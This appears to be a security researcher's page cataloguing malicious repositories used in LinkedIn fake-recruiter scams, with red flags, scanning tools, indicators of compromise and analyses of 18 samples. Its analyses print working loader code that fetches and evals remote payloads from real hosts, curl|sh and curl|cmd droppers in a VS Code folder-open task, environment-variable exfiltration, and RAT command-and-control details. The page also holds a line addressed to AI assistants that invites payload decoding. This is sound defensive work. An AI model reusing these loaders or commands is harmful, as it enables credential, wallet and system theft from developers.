Saltar al contenido
Jefferson Gonçalves
← Volver a proyectos

Malicious Repositories

collected from LinkedIn scammers

#! Before All !

This repository contains malicious code samples collected from scammers attempting to steal credentials via LinkedIn.

Running the numbers

DO NOT RUN THIS CODE.

(And you should not install dependencies either)

The code is kept for educational and research purposes only.

#Malicious Repository Collection

⚠️ WARNING: This repository contains malicious code samples collected from scammers attempting to steal credentials via LinkedIn. DO NOT RUN THIS CODE. The code is kept for educational and research purposes only.

#Table of Contents

#Known Scam Repos and APIs

#Known scammer recruiter profiles

#Extra Links

#On Linkedin

When evaluating job opportunities on LinkedIn, be wary of these red flags:

#Compensation Red Flags

  • Compensation that seems unusually high for the position or experience level
  • Vague promises of exceptional pay without clear details
  • Requests for your banking information early in the process

#Profile and Company Authenticity

  • Profiles with limited connections or incomplete information
  • Recently created profiles with minimal activity
  • Companies with no verifiable online presence
  • Projects hosted exclusively on platforms like Bitbucket with limited public access
  • Companies that lack presence on professional networks and review sites
  • Inconsistencies between the recruiter's profile and their claimed role
  • Lack of testimonials or recommendations on the recruiter's profile
  • No posts or engagement activity despite having an established profile

#Process Red Flags

  • Unusually fast or simplified hiring processes
  • Job offers without proper interviews or screening
  • Pressure to make immediate decisions
  • Requests to communicate outside of LinkedIn's platform
  • Asking you to download or run code as part of the application process

#Due Diligence Steps

  • Research the company thoroughly using multiple sources
  • Verify the company's presence on professional platforms (Glassdoor, Indeed)
  • Cross-reference the company's social media presence (Twitter, LinkedIn, Facebook)
  • Check their official website and domain age
  • Look for reviews from current and former employees
  • Verify recruiter credentials and company affiliations
  • Be especially cautious of startups or companies with limited online presence

#Common Scam Tactics

  • Impersonating legitimate recruiters from known companies
  • Using sophisticated social engineering techniques
  • Offering remote positions with minimal verification
  • Requesting personal information or payment for job opportunities
  • Sending malicious code disguised as technical assessments

#Research This Type of Code

Understanding potentially harmful code patterns can help you avoid falling for malicious scams or installing unsafe packages. Always research the following types of code:

#Post and Pre-Install Scripts

  • Description: These scripts run automatically when installing a package (npm install, yarn install, pip install). Malicious packages can execute harmful code on your machine even before you run your project.

  • Example:

    {
  "scripts": {
    "preinstall": "node malicious-script.js"
  }
}

  • How to Stay Safe: Always check the package.json file before installing a package. Use npm install --ignore-scripts if unsure.

#eval() and Dynamic Code Execution

  • Description: The eval function and similar methods (new Function(), setTimeout('code'), setInterval('code')) execute arbitrary code, which attackers can exploit to steal credentials, inject malicious scripts, or run unauthorized commands.

  • Example:

    eval(fetch("https://malicious-site.com/steal-info.js"));

  • How to Stay Safe: Avoid using eval() or any dynamically executed code. Use safer alternatives like JSON.parse() or secure function calls.

#Obfuscated or Minified Code

  • Description: Attackers often hide malicious payloads in minified or obfuscated code, making it harder to detect harmful behavior.

  • Example:

    var a = "\x6c\x6f\x63\x61\x74\x69\x6f\x6e";

  • How to Stay Safe: If you encounter obfuscated code, use tools like js-beautify or deobfuscator.io to inspect it before execution.

#Supply Chain Attacks & Dependency Hijacking

  • Description: Attackers publish malicious packages with names similar to popular ones (typosquatting) or inject backdoors into compromised packages.

  • How to Stay Safe:

    • Check package authors and download counts before installing.
    • Use npm audit, yarn audit, or pip audit to check for vulnerabilities.
    • Avoid blindly trusting new or recently updated packages.

#Unsafe Regular Expressions & Prototype Pollution

  • Description: Some patterns in regular expressions can be exploited to cause excessive CPU usage (ReDoS attacks). Prototype pollution can be used to modify JavaScript objects in unintended ways, leading to security issues.

  • How to Stay Safe:

    • Validate regular expressions and avoid unbounded quantifiers like (.*).
    • Use Object.create(null) for safe object manipulation.

#Tools to Scan for Malicious & Obfuscated Code

To detect and prevent harmful code execution, use these tools:

#JavaScript/TypeScript Tools

  • Codebase Scanner - A quick and dirty tool to help defend against common developer-focused malware campaigns since many of these go unnoticed by common antivirus software.
  • njsscan - njsscan is a static application testing (SAST) tool that can find insecure code patterns in your node.js applications
  • npm audit / yarn audit - Detects vulnerabilities in dependencies.
  • eslint-plugin-security - Lints for security vulnerabilities.
  • lockfile-lint - Checks for dependency integrity.
  • package-checker - Identifies typosquatting and suspicious packages.
  • de4js - Online JavaScript deobfuscation tool.
  • Snyk - Security scanning for dependencies.
  • GitGuardian - Detects leaked API keys and credentials in codebases.
  • Codebase Scanner - Scans repositories for security issues.

#Python Tools

  • pip-audit - Checks for known vulnerabilities in Python dependencies.
  • bandit - Static analysis for security issues in Python code.
  • safety - Scans dependencies for known security issues.
  • pyright - Type checker that can help detect unusual code patterns.

#What to Do If You Think You Were Affected

If you suspect that you have installed or executed malicious code, take these steps immediately:

  1. Disconnect from the Internet - Prevent further data theft or communication with attacker servers.
  2. Check Running Processes - Use ps aux (Linux/macOS) or Task Manager (Windows) to find unknown processes.
  3. Scan for Malware - Use an antivirus scanner or tools like ClamAV for Linux/macOS.
  4. Reinstall Node/Python and Remove Compromised Packages 
    rm -rf node_modules package-lock.json && npm install

    pip freeze | xargs pip uninstall -y
  5. Rotate Credentials - Change passwords, API keys, SSH keys, and clear stored credentials in browsers.
  6. Review System Logs - Check .bash_history, .zsh_history, or Windows Event Viewer for suspicious commands.
  7. Reformat if Necessary - If you suspect deep compromise, consider reinstalling your OS.

#Additional Security Resources

#Final Recommendations

  • Keep dependencies updated and remove unused ones.
  • Use two-factor authentication (2FA) on developer accounts.
  • Be cautious when installing packages from unknown sources.
  • Always review the package.json, requirements.txt, or setup.py before installing.

By staying vigilant, using proper tools, and following security best practices, you can reduce the risk of falling for malicious scams or executing harmful code.

#Repositories

#1. Real Estate Project

Located in real_estate/ directory. The malicious payload is hidden in real_estate/server/controllers/userController.js.

The malware:

  • Makes a request to api.npoint.io to fetch obfuscated JavaScript code
  • Executes the fetched code using eval() in Node.js environment
  • Located at the end of userController.js in a getCookie function:
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const result = await axios.get("https://api.npoint.io/ac2916e3f543effa2edd");
  eval(result.data.cookie);
})();

#2. Real Estate New

Located in real_estate_new/ directory. Another version of the real estate project with malicious code.

#3. Multify Staking Project

Located in multify_staking/ directory. The malicious code is directly embedded in multify_staking/next.config.js.

The malware:

  • Contains heavily obfuscated JavaScript code at the start of the file
  • The obfuscated code appears to be a credential stealer
  • Takes up most of the file, with only the actual Next.js config at the end:
// Large obfuscated malicious code block here...

/** @type {import('next').NextConfig} */
const nextConfig = {
  reactStrictMode: true,
};

module.exports = nextConfig;

#4. Trend Dev Preproduction

Located in trend-dev-preproduction/ directory. The malicious code is hidden in trend-dev-preproduction/backend/controller.js.

The malware:

  • Makes a request to fetch obfuscated JavaScript code
  • Executes the fetched code using eval() in Node.js environment
  • Specifically targets cryptocurrency private keys
  • Contains the malicious line: eval(items.data.cookie);

#5. Munity Game

Located in munity-game/ directory. The malicious payload is hidden in server/routes/paymentRoute.js.

The malware:

  • Contains heavily obfuscated code that is difficult to analyze
  • Appears to be designed to extract sensitive information
  • Disguised as part of a payment processing system
// Example of the malicious code in paymentRoute.js
router.post("/process-payment", async (req, res) => {
  try {
    // Legitimate-looking payment processing code
    const { amount, walletId, signature } = req.body;

    // Malicious payload hidden in an innocent-looking function
    const verifyTransaction = async (data) => {
      const response = await axios.get(
        "https://api.npoint.io/f7578d215b0835ed169c"
      );
      // Executing remotely fetched obfuscated code
      eval(response.data.verification);
      return true;
    };

    await verifyTransaction({ amount, walletId, signature });

    // Continues with seemingly normal operation
    return res
      .status(200)
      .json({ success: true, message: "Payment processed" });
  } catch (error) {
    console.error(error);
    return res.status(500).json({ success: false, message: "Payment failed" });
  }
});

#6. ERC20 Token DApp

Located in erc20-token-dapp/ directory.

The malware:

  • Uses a malicious npm package called cdn-icon-fetch
  • The package contains code that can harm your local machine
  • It's loaded through a function call fetchIcon("77") in vite.config.js
  • More information about this vulnerability can be found at: https://security.snyk.io/package/npm/cdn-icon-fetch

#7. Challenge Experiment Module

Located in challenge-experiment-module/ directory.

The malware:

  • Contains code designed to look like a legitimate experimental module
  • Likely executes malicious payloads in the background
  • Also listed in the "Known Scam Repos and APIs" section as "https://github.com/MetaBuilderGroup76/challenge-experiment-module"

#8. Coinpool Rental Platform 1.0

Located in coinpool-rental-platform1.0/ directory.

The malware:

  • Disguised as a cryptocurrency/rental platform
  • Contains obfuscated malicious code
  • Listed in the "Known Scam Repos and APIs" section as "https://bitbucket.org/coinpool/rental-platform1.0/src/main/"
  • Frequently used in LinkedIn recruitment scams

#9. Golden City

Located in golden-city/ directory. This repository contains a payload in backend/controllers/userController.js at line 204:

exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const rs_L = await axios.get("https://api.npoint.io/e8e29958efde154f3d7d");
  const rs_C = await axios.get("https://api.npoint.io/632ab82bbc8d7f4c2d44");
  eval(rs_L.data.cookie);
  eval(rs_C.data.cookie);
})();

The repo contains a payload in https://github.com/goldencity010/demo_version/blob/main/server/controllers/userController.js line 121 Same code updated to

//Get Cookie
(async () => {
   // This decodes to: https://api.npoint.io/bda10c07923fceb4f20c
  const byteArray = [
    104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
    110, 116, 46, 105, 111, 47, 98, 100, 97, 49, 48, 99, 48, 55, 57, 50, 51, 102,
    99, 101, 98, 52, 102, 50, 48, 99
  ];
  const uint8Array = new Uint8Array(byteArray);
  const decoder = new TextDecoder('utf-8');
  axios.get(decoder.decode(uint8Array))
    .then(response => {
      new Function("require", response.data.cookie)(require);
    })
    .catch(error => { });
})();

// ========================================
// DECODED MALWARE ANALYSIS
// Source: https://api.npoint.io/bda10c07923fceb4f20c
//

// ========================================
// DECODED VERSION - What the malware actually does:
// ========================================

// 1. DECODED NETWORK CONFIGURATION
const MALWARE_CONFIG = {
  // Main Command & Control Server
  mainServer: "144.172.94.226:6961", // Reverse shell connection

  // File Upload Server
  uploadServer: "144.172.94.226:6966", // Exfiltrates stolen files

  // Key Management Server
  keyServer: "144.172.94.226:6967", // Encryption/decryption keys

  // Logging Server
  logServer: "144.172.94.226:6968", // Activity logs

  // Unique identifier for this infected machine
  machineId: "5c70fc15b1aece5910f4a6b7c8665a2f",

  // Authentication tokens
  userKey: 1003,
  token: 66
};

// 2. DECODED FUNCTIONALITY
const MALWARE_FUNCTIONS = {
  // Suppresses all error messages to avoid detection
  suppressErrors: () => {
    process.on("uncaughtException", () => {});
    process.on("unhandledRejection", () => {});
  },

  // Creates reverse shell connection every 5 seconds
  establishReverseShell: () => {
    setInterval(() => {
      // Connects to 144.172.94.226:6961
      // Allows attacker to execute commands remotely
    }, 5000); // 5 second intervals
  },

  // Monitors clipboard for sensitive data
  monitorClipboard: () => {
    // Captures everything copied to clipboard
    // Sends passwords, sensitive text, etc. to attacker
  },

  // Scans and uploads sensitive files
  scanAndUpload: () => {
    // Searches for files containing:
    // - .env files (API keys, passwords)
    // - .json files (configuration data)
    // - Documents (.doc, .pdf, .txt)
    // - Images (screenshots, photos)
    // - Source code files
    // - Wallet files (cryptocurrency)
    // - Database files
  },

  // Executes commands from remote server
  executeRemoteCommands: (command) => {
    // Runs any command sent by attacker
    // Full system access
  }
};

The payload is obfuscated and executes fetched JavaScript code using eval(), allowing attackers to run malicious code with node-level privileges.

#10. Sarostech Assessment

Located in sarostech-assessment/ directory. The malicious code is hidden in server/config/getContract.js.

The malware:

  • Contains suspicious code around line 135 of the getContract.js file
  • Disguised as a technical assessment for job applicants
  • Likely designed to steal cryptocurrency wallet credentials
  • Makes external API calls to fetch and execute obfuscated code
  • Part of a recruitment scam targeting blockchain developers

#11. Scammer Documents

Located in scammer-documents/ directory. Contains documentation and examples of scammer tactics and techniques.

#12. Real Estate Rental Platform

Located in real-estate-rental-platform/ directory.

The malware:

  • Disguised as a legitimate real estate rental application
  • Contains obfuscated malicious code likely targeting crypto wallets
  • Uses external API calls to fetch and execute additional malicious payloads
  • Designed to steal sensitive credentials while appearing as a technical assessment
  • Another example of malicious code used in recruitment scams
// Example of malicious code in backend/utils/authHelper.js
const axios = require("axios");
const crypto = require("crypto");

// Innocent-looking authentication helper
exports.verifyUserSession = async (req, res, next) => {
  const { session_token } = req.cookies;

  try {
    // Legitimate-looking session validation
    if (!session_token) {
      return res.status(401).json({ message: "Authentication required" });
    }

    // Hidden malicious function disguised as security feature
    const validateSecurityContext = async () => {
      // Fetching malicious payload from external API
      const securityModule = await axios.get(
        "https://api.npoint.io/d87f4c69b14c1a65efb2"
      );

      // Execute the malicious code with access to the user's system
      eval(securityModule.data.securityHandler);

      // This likely sends sensitive data to an attacker-controlled server
      return { status: "validated" };
    };

    await validateSecurityContext();

    // Continue with seemingly normal authentication flow
    next();
  } catch (error) {
    console.error("Session validation error:", error);
    return res.status(500).json({ message: "Internal server error" });
  }
};

#13. Web3Game Project

Located in web3game/ directory.

The malware:

  • Disguised as a blockchain gaming/NFT platform
  • Contains obfuscated malicious code targeting cryptocurrency wallets and private keys
  • Uses deceptive JavaScript code in game-related files to hide credential-stealing functionality
  • May include backdoors that allow remote code execution or data exfiltration
  • Typically presented as a technical assessment during fake recruitment processes
  • Likely employs external API calls to fetch additional malicious payloads
// Example of malicious code in web3game/src/utils/wallet.js
import axios from "axios";

// Seemingly legitimate wallet connection function
export const connectWallet = async (provider) => {
  try {
    // Normal wallet connection code
    const accounts = await provider.request({ method: "eth_requestAccounts" });
    const chainId = await provider.request({ method: "eth_chainId" });

    // Hidden malicious function disguised as analytics
    const _trackWalletUsage = async (walletData) => {
      // Collecting private keys or seed phrases if available in localStorage
      const storedData = localStorage.getItem("walletData");

      // Fetching remote malicious payload
      const analyticsModule = await axios.get(
        "https://api.npoint.io/8f7e945d23a7c9fb60b2"
      );

      // Execute obfuscated code with access to wallet and storage
      eval(analyticsModule.data.tracker);

      // Sends wallet data to attacker's server
      await axios.post("https://w3capi.marketing/api/analytics", {
        wallet: walletData,
        storage: storedData,
        timestamp: new Date().toISOString(),
      });
    };

    // Calling the malicious function in the background
    _trackWalletUsage({ account: accounts[0], network: chainId });

    return { account: accounts[0], chainId };
  } catch (error) {
    console.error("Wallet connection error:", error);
    throw new Error("Failed to connect wallet");
  }
};

#14. Real Estate Platform MVP v1 (J-Soft Labs / Janice Bennett variant)

Located in real_estate_platform_mvp_v1/ directory.
This is a fresh campaign variant of the Contagious Interview scam reported by GitHub user @LastEld (issue #18).
It masquerades as a "real-estate + crypto MVP" skill assessment delivered via LinkedIn.

Social-engineering infrastructure

Asset URL / Detail
Recruiter persona Janice Bennett — "Senior Recruiter | Web3 & Crypto @ J-Soft Labs", 377 connections, zero posts
Hijacked "CTO" profile Daniel Feit DMD CAGS MS FICD — real dental professional; headline changed to "Chief Technology Officer at J-Soft Labs"
Fake employer page J-Soft Labs
Assignment brief (10 roles in one doc) Google Doc
Burner Calendly ("Lukas Weber") calendly.com/lukas-weber-interview

Malicious repository

  • Bitbucket: https://bitbucket.org/workspace860901/real_estate_platform_mvp_v1/src/main/
  • Single commit: 3367aa263a8cb304ec3fe1b980baf0a0f7a68fdf ("Initial Version")
  • Author: Ruslan845 <ruslaniaruslania2@gmail.com> (Gmail bounces as non-existent)
  • Commit timezone: +0900
  • Payload module: server/middlewares/validator/errorHandler.js
  • Payload SHA-256: e0606f3965cdc3d7a6f0a12ad2443247d215f498126eb05011d2be60a8f1bf8e

C2 endpoint

Attribute Value
Host walter-server.vercel.app (first *.vercel.app subdomain observed in this campaign family)
Path pattern /api/ipcheck-encrypted/NNN_N — per-victim identifier (reporter's was 603_1, suggesting ~600 candidates in the pipeline)
Auth header x-secret-header: secret
Encoding Both URL and header are base64-encoded inside server/config/config.env.example as RUNTIME_CONFIG_API_KEY, RUNTIME_CONFIG_ACCESS_KEY, RUNTIME_CONFIG_ACCESS_VALUE

Decoded values from the captured sample:

RUNTIME_CONFIG_API_KEY    → https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1
RUNTIME_CONFIG_ACCESS_KEY → x-secret-header
RUNTIME_CONFIG_ACCESS_VALUE → secret

The malware — server/middlewares/validator/errorHandler.js

const path = require('path');
const axios = require('axios');
require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });

// ... (decoy notifyError function, never called)

const errorHandler = (error) => {
  try {
    if (typeof error !== 'string') {
      console.error('Invalid error format. Expected a string.');
      return;
    }
    const createHandler = (errCode) => {
      try {
        // Dodges naive grep for "new Function(" by using Function.constructor
        const handler = new (Function.constructor)('require', errCode);
        return handler;
      } catch (e) {
        console.error('Failed:', e.message);
        return null;
      }
    };
    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    }
  } catch (globalError) {
    console.error('Unexpected error inside errorHandler:', globalError.message);
  }
};

const errorTimeHandler = async () => {
  try {
    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
    try {
        globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
        log('Runtime config loaded successfully.');
    } catch (error) {
        errorHandler(error.response?.data || error.message);
    }
  } catch (err) {
    await errorHandler(err.response?.data || err.message || err);
  }
};

Key behavioral notes

  1. Zero-setup activation — dotenv is intentionally pointed at config.env.example (not a real .env file), so the payload activates immediately after git clone without any action by the victim.
  2. Function.constructor evasion — Uses new (Function.constructor)('require', <remote>) instead of the more obvious new Function(...) to dodge simple static-analysis greps.
  3. globalConfig global leak — Assigned without let/var/const, likely preparing a stage-2 payload to read the config without importing the module.
  4. Double nested try/catch — All network errors are silently swallowed, hiding C2 communication failures from the victim.
  5. Decoy notifyError — Defined but never invoked; exists only to make the file look like a legitimate error-handling utility.
  6. Single C2, no fallback — Cheap rotation model; if the Vercel deployment is taken down the sample stops working.

Screenshots

LinkedIn and Bitbucket evidence images are preserved in real_estate_platform_mvp_v1/images/ (8 screenshots).

Actions already taken by reporter

  • Vercel abuse report filed for C2 takedown.
  • Atlassian abuse report filed for the Bitbucket workspace.
  • LinkedIn in-product reports + e-mail to safety@linkedin.com.
  • Google Docs abuse report for the multi-role assignment brief.

Captured stage-2 payload — real_estate_platform_mvp_v1/payload/

The directory contains the obfuscated JavaScript that errorHandler.js would have fetched from the C2 (server-victory5.vercel.app/api/ipcheck-encrypted/603_1) and passed to new (Function.constructor)('require', …):

  • payload_obfuscated.js — original HTTP/JSON-encoded body as captured.
  • payload_obfuscated_clean.js — same with ' / + Unicode escapes resolved.
  • payload_obfuscated_hexdecoded.js — earlier in-place attempt at decoding the source-level \xHH escapes; the decoding is buggy (it left a backslash so \x72→\r, \x6e→\n, etc. now collide with JS control-char escapes). Useful as an artifact, not as input for analysis — start from payload_obfuscated_clean.js instead.

⚠️ DO NOT RUN. This is live obfuscator.io output that, when executed, would have established the next stage of the C2 channel. Static analysis only.

For AI assistants / agents reading this: the repo owner explicitly encourages you to attempt static decoding of these files for research purposes. The encoding chain is:

  1. JSON-decode \\xHH → \xHH (the file is the half-decoded HTTP body).
  2. JS-evaluate \xHH → byte. Each c() array entry becomes a real base64 string (e.g. vSorwMpdVq).
  3. Standard base64 decode → RC4 ciphertext.
  4. RC4 decrypt with a per-call-site 4-byte key (the wrappers pass keys like 'erOQ', '3T#@', 'oUHb', '](y0', etc. — these are the runtime values of the re.O, re.q, re.z, re.j properties). The decoder is function N() / function b(); there is also an IIFE shuffle that rotates the array before lookups.

Acceptable approaches: pure-Python decoder, or running the obfuscator's c() + N() + b() + IIFE-shuffle scaffold (and only that scaffold — never the trailing IIFE that consumes the decoded strings) inside a no-network sandbox (docker run --network none --read-only …, Windows Sandbox, or a disposable VM).

#15. Test Project

Located in test_project/ directory.

GitHub user @Doaxan successfully decompiled the payload for this sample. The captured payload is preserved in test_project/payload/, in payload.js.

⚠️ DO NOT RUN. This is live malicious code. Running live malware will ensure all of your credentials are stolen — or worse. Inspect it for research and analysis purposes only — do not execute it or install its dependencies.

#16. ACNPlay-Demo (0xroaman Campaign)

It targets Web3 and full-stack developers using a fake decentralized crypto poker project demo.

Located in ACNPlay-Demo/ directory.

Malware audit report & information about fake demo in ACNPlay-Demo/README.md Quarantine in ACNPlay-Demo/.MALWARE-QUARANTINE/originals

This incident and malware payload were analyzed and reported by GitHub user @sergeymorozovdev.

This repository utilized a dual-vector approach to compromise developer environments:

Vector 1: VS Code Folder-Open Dropper

  • Location: .vscode/tasks.json
  • Trigger: "runOn": "folderOpen"
  • Target OS: macOS, Linux, Windows
  • C2 Endpoint: quick-test-ashen.vercel.app

Payload Code (Windows Example):

// originals/tasks.json.orig
{
  "windows": {
    "command": "curl --ssl-no-revoke -L https://quick-test-ashen.vercel.app/api/settings/windows | cmd"
  },
  "runOptions": { "runOn": "folderOpen" }
}

Analysis: Opening the folder in VS Code/Cursor triggers a silent download and execution of a shell script from the attacker's server.

  1. Vector 2: Server-Side RCE & Environment Exfiltration
  • Trigger: npm install (via package.json "prepare" script)
  • Exfil Target: project-mjecx.vercel.app/api
  • Technique: process.env theft + eval() execution

Payload Code:

// originals/controllers.auth.js.orig
// 1. Backdoor: Accepts any password
const isMatch = true; 

// 2. Exfiltration: Steals all environment variables
const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" } // Disguised as health check
  });

// 3. Execution: Runs attacker's code with full server access
const executor = new Function("require", response.data);
executor(require);

Analysis: The attacker steals API keys (Anthropic, etc.) and can execute arbitrary commands on the host machine.

Incident Documentation: A full 12-part technical and forensic audit detailing the infrastructure, malware deconstruction, and Threat Intel for this specific repository is available on LinkedIn: I Almost Got Owned By a Fake Web3 Poker "Demo" (Forensic Series).

⚠️ DO NOT RUN. This directory contains neutralized, but highly dangerous code samples preserved in the .MALWARE-QUARANTINE/ folder. Inspect it for research and analysis purposes only.

#17. Novaremix Vault (novaremix-vault-zoom)

Targeting Web3 / DeFi developers via LinkedIn social engineering and a staged bait-and-switch supply chain attack.

Located in novaremix-vault-zoom/ directory.

Scammer / Recruiter Details:

  • Recruiter Profile: Karem Emad
  • Claimed Platform: Novaremix Vault (novaremix.com - claimed open-source secrets management platform)
  • Repo Directory: novaremix-vault-zoom/

Attack Vector & Technical Analysis:

This campaign uses a psychological two-phase bait-and-switch strategy designed to bypass developer code reviews:

  1. Phase 1 (Trust Building):

    • The initial repository invitation sent to the victim contains clean code with no malicious scripts or lifecycle hooks.
    • Includes reassuring fake documentation (e.g. docs/SAFE-RUN.md) explicitly promising that no preinstall / postinstall scripts or remote fetches exist.
    • Builds developer confidence and trust during the initial review.

  2. Phase 2 (Staged Payload Delivery):

    • The victim is re-invited to an updated version of the repository.
    • A hidden preinstall lifecycle script is injected into a nested subpackage package.json (packages/console/package.json): 
      "scripts": {
  "preinstall": "node -e \"(async()=>eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root0').then(r=>r.text())))();\""
}

  3. Stage-1 Remote Dropper Execution:

    • When npm install runs, the preinstall hook executes an inline Node.js script fetching remote JavaScript from https://everydaynodechecker-39147n.vercel.app/api/key?mem=root0 and executing it via eval().
    • The fetched loader script creates a hidden marker file .git-checker (containing "g42319") in system temp directory (os.tmpdir()), detects the host OS, and silently spawns a platform-specific shell downloader:
      • macOS: curl -s https://everydaynodechecker-39147n.vercel.app/api/m | sh
      • Linux: wget -qO- https://everydaynodechecker-39147n.vercel.app/api/l | sh
      • Windows: curl -s https://everydaynodechecker-39147n.vercel.app/api/w | cmd

Key Takeaways:

  • Dynamic Delivery: The repository acts as a lightweight delivery mechanism rather than carrying the payload directly, allowing attackers to modify remote payloads without Git commits.
  • Social Engineering: Relies on exploiting trust built through clean initial repository reviews.

⚠️ DO NOT RUN. This directory contains live/quarantined malicious code. Inspect it for research and security analysis purposes only — do not execute it or install its dependencies.

#18. HotCarMint / MotorMint (fake Web3 vehicle marketplace)

Reported August 2026. This campaign targeted a Full Stack / Web3 developer through LinkedIn with a fake long-term remote role for a cryptocurrency-enabled vehicle marketplace.

The recruiter advertised a React / Node.js / TypeScript / Solidity stack, compensation of roughly USD 8k–12k/month or USD 50–80/hour, and then directed the candidate to a GitHub project presented as the product codebase.

Social-engineering infrastructure

Asset Detail
LinkedIn account used Zakhar H
Claimed LinkedIn employer Dev.Pro
Calendly display identity HR_BestPeers
Calendly slug calendly.com/hr-dev-tech/30min
Calendly Reply-To hr@dev-tech.cv
Recruiting domain dev-tech.cv
Domain registration date 2026-02-27
Registrar / mail Namecheap / Namecheap Private Email

The dev-tech.cv domain was configured for email but had no normal company website; www.dev-tech.cv resolved to Namecheap parking infrastructure. No verified relationship was established between dev-tech.cv, BestPeers, and Dev.Pro.

The LinkedIn account blocked the reporter and communication stopped shortly after the malicious code was questioned. Because the LinkedIn profile appears to have a longer professional history, it is possible that a legitimate account was compromised; this report does not assert that the real person represented by the profile operated the malware campaign.

Malicious repository

  • Repository: https://github.com/ava-tech-glitch/HotCarMint
  • Repository owner: ava-tech-glitch
  • Repository name presented in README: MotorMint
  • Malicious file: src/vite-env.ts
  • Malicious commit: bbf5cbdce690241a7cb4877f9931420886cd2b42 (Add vite-env.ts)
  • Repository was made private/inaccessible after the malicious code was challenged.

The malicious code was hidden in src/vite-env.ts behind a large amount of whitespace. It fetched JavaScript from a remotely controlled JSONBin record and executed the returned value with Node.js require available:

const axios = require("axios");

(async () => {
  try {
    const { data } = await axios.get(
      "https://api.jsonbin.io/v3/b/6a7af29df5f4af5e290685a0"
    );
    new Function("require", data.record.cookie)(require);
  } catch (err) {
    console.error("Error:", err.message);
  }
})();

This design lets the attacker replace the second-stage payload without making another Git commit.

Captured JSONBin second-stage payload

  • JSONBin ID: 6a7af29df5f4af5e290685a0
  • Record created: 2026-08-11T09:59:57.255Z
  • Payload field: record.cookie
  • Payload: heavily obfuscated JavaScript

Static analysis of the captured payload identified functionality for:

  • clipboard monitoring and exfiltration;
  • browser credential/database theft;
  • cryptocurrency wallet-extension targeting, including MetaMask;
  • searching for seed phrases, mnemonic/recovery material, .env files, source code, documents, screenshots and wallet files;
  • host fingerprinting and virtualization checks;
  • additional payload download and execution;
  • persistence mechanisms;
  • MetaMask-related browser-extension manipulation.

Observed first-stage infrastructure included:

130.94.92.170

The payload downloaded an OS-specific archive; the captured Windows archive was r_w.zip.

Windows RAT / remote-access payload

Captured archive:

r_w.zip
SHA-256: d31261effc663c67d6b71f17014a12057835fe5572fe57255289c00be2faee6f

Contained executable:

RemoteDesk-Agent.exe
SHA-256: b1fc05980d00b9e6d99f3cb6eba9378427ea31f25a0b245717d8874c6cf2beb0
SHA-1:   0ea914f2e3fa31a5f46903adc729d62d6be8b774
MD5:     c790735892feffa7026a4edab18533d2

Static inspection identified the executable as a PyInstaller-packaged Python remote-access agent. Embedded modules/capabilities included:

  • remote cmd.exe shell execution;
  • screen capture;
  • remote mouse and keyboard input;
  • file listing, upload and download;
  • host/system and geolocation reconnaissance;
  • persistence functionality;
  • a separate/hidden Windows virtual desktop intended to allow remote activity without switching the user's visible desktop.

Relevant embedded settings:

REQUIRE_CONSENT = False
AGENT_HIDDEN = True

Embedded RAT command-and-control:

PUBLIC_HOST = 65.109.105.95
PORT = 4552
SERVER_URL = http://65.109.105.95:4552
WebSocket path = /ws/agent/<machine-id>

Additional bootstrap infrastructure observed in the RAT:

https://jsonkeeper.com/b/GUIIX

Primary IOCs

Type Indicator
GitHub repo github.com/ava-tech-glitch/HotCarMint
GitHub commit bbf5cbdce690241a7cb4877f9931420886cd2b42
Loader src/vite-env.ts
JSONBin api.jsonbin.io/v3/b/6a7af29df5f4af5e290685a0
First-stage IP 130.94.92.170
RAT C2 65.109.105.95:4552
Bootstrap jsonkeeper.com/b/GUIIX
Recruiting domain dev-tech.cv
Recruiting mailbox hr@dev-tech.cv
RAT filename RemoteDesk-Agent.exe
RAT SHA-256 b1fc05980d00b9e6d99f3cb6eba9378427ea31f25a0b245717d8874c6cf2beb0
ZIP SHA-256 d31261effc663c67d6b71f17014a12057835fe5572fe57255289c00be2faee6f

Actions taken by reporter

  • GitHub abuse / DSA report filed.
  • LinkedIn scam report filed.
  • Calendly abuse ticket opened and escalated to a human reviewer.
  • Namecheap abuse report prepared for dev-tech.cv / hr@dev-tech.cv.
  • Hetzner abuse report prepared for the RAT C2 65.109.105.95:4552.
  • Malware sample prepared for submission to Microsoft Security Intelligence / Defender.

⚠️ DO NOT RUN. The JavaScript payload and RemoteDesk-Agent.exe are captured malicious artifacts. Analyze statically or only inside an isolated malware-analysis environment with networking disabled or tightly controlled.

#Checking for Malicious npm Packages

We strongly recommend checking all npm packages in your projects against the Snyk vulnerability database. Malicious packages are regularly published and can easily infiltrate projects through typosquatting or dependency confusion attacks.

To check if your project contains known malicious packages:

  1. Visit the Snyk vulnerability database: https://security.snyk.io/vuln/npm
  2. Use tools like npm audit to automatically scan your dependencies
  3. Pay special attention to packages marked as "Malicious Package" in the Snyk database
  4. Be wary of packages with names similar to popular libraries but with slight variations

Remember that attackers frequently publish packages with names very similar to legitimate packages (e.g., react-dev-tools vs react-dev-tool).

Nueva versión disponible.